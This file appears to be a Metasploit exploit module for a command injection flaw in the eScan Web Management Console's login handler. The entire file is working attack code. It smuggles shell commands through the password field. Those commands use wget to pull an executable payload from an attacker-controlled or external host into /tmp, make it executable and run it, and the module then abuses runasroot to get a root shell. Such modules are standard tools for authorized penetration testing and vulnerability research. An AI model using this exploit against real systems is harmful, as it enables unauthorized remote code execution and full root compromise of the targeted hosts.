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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'eScan Web Management Console Command Injection',
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        'Description' => %q{
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          This module exploits a command injection vulnerability found in the eScan Web Management
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          Console. The vulnerability exists while processing CheckPass login requests. An attacker
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          with a valid username can use a malformed password to execute arbitrary commands. With
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          mwconf privileges, the runasroot utility can be abused to get root privileges. This module
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          has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Joxean Koret', # Vulnerability Discovery and PoC
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          'juan vazquez' # Metasploit module
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        ],
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        'References' => [
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          [ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean
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        ],
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        'Payload' => {
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          'BadChars' => '', # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
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          'DisableNops' => true
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        },
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        'Arch' => ARCH_X86,
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        'Platform' => 'linux',
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        'Privileged' => true,
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        'Stance' => Msf::Exploit::Stance::Aggressive,
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        'Targets' => [
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          ['eScan 5.5-2 / Linux', {}],
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        ],
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        'DisclosureDate' => '2014-04-04',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
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          'Reliability' => [REPEATABLE_SESSION]
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(10080),
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        OptString.new('USERNAME', [ true, 'A valid eScan username' ]),
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        OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),
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        OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
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        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
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        OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
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        OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),
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      ]
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    )
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  end
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  def check
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path.to_s, 'index.php')
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    })
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    if res && (res.code == 200) && res.body =~ (/eScan WebAdmin/)
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      return Exploit::CheckCode::Detected
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    end
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    Exploit::CheckCode::Unknown
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  end
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  def cmd_exec(session, cmd)
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    case session.type
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    when /meterpreter/
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      print_warning('Use a shell payload in order to get root!')
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    when /shell/
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      o = session.shell_command_token(cmd)
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      o.chomp! if o
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    end
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    return '' if o.nil?
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    return o
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  end
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  # Escalating privileges here because runasroot only can't be executed by
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  # mwconf uid (196).
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  def on_new_session(session)
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    cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")
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    super
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  end
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  def primer
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    @payload_url = get_uri
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    wget_payload
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  end
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  def on_request_uri(cli, request)
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    print_status("Request: #{request.uri}")
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    if request.uri =~ /#{Regexp.escape(get_resource)}/
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      print_status('Sending payload...')
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      send_response(cli, @pl)
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    end
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  end
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  def autofilter
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    true
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  end
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  def exploit
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    @pl = generate_payload_exe
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    @payload_url = ''
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    if datastore['EXTURL'].blank?
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      begin
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        Timeout.timeout(datastore['HTTPDELAY']) { super }
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      rescue Timeout::Error => e
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        vprint_error(e.message)
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      end
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    else
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      @payload_url = datastore['EXTURL']
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      wget_payload
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    end
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    exec_payload
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  end
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  # we execute in this way, instead of an ARCH_CMD
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  # payload because real badchars are: |&)(!><'"`[space]
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  def wget_payload
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    @dropped_elf = rand_text_alpha(rand(3..7))
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    command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
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    print_status('Downloading the payload to the target machine...')
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    res = exec_command(command)
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    if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/
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      register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
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    else
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      fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
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    end
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  end
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  def exec_payload
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    command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"
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    command << File.join(datastore['WRITABLEDIR'], @dropped_elf)
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    print_status('Executing the payload...')
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    exec_command(command, 1)
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  end
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  def exec_command(command, timeout = 20)
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    send_request_cgi({
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),
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      'vars_post' => {
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        'uname' => datastore['USERNAME'],
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        'pass' => ";#{command}",
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        'product_name' => 'escan',
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        'language' => 'English',
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        'login' => 'Login'
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      }
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    }, timeout)
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  end
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end
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